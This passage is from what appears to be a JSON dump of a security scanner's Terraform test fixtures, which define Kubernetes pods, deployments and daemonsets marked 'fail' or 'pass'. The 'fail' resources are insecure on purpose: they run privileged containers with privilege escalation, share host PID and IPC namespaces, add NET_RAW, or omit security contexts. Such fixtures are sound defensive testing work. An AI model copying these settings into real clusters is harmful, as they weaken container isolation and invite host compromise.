[\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"NET_BIND_SERVICE\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add = [\"NET_RAW\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add = [\"NET_RAW\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"ALL\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"ALL\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"ALL\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"ALL\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MinimiseCapabilitiesPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n    required_drop_capabilities = [\n      \"KILL\",\n      \"SYS_TIME\",\n      \"NET_RAW\"\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_PodSecurityContext/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n#no context\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#no context\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemon_set_v1\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemon_set_v1\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n            capabilities {\n              drop = [\"NET_BIND_SERVICE\", \"ALL\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_PrivilegedContainers/main.tf",
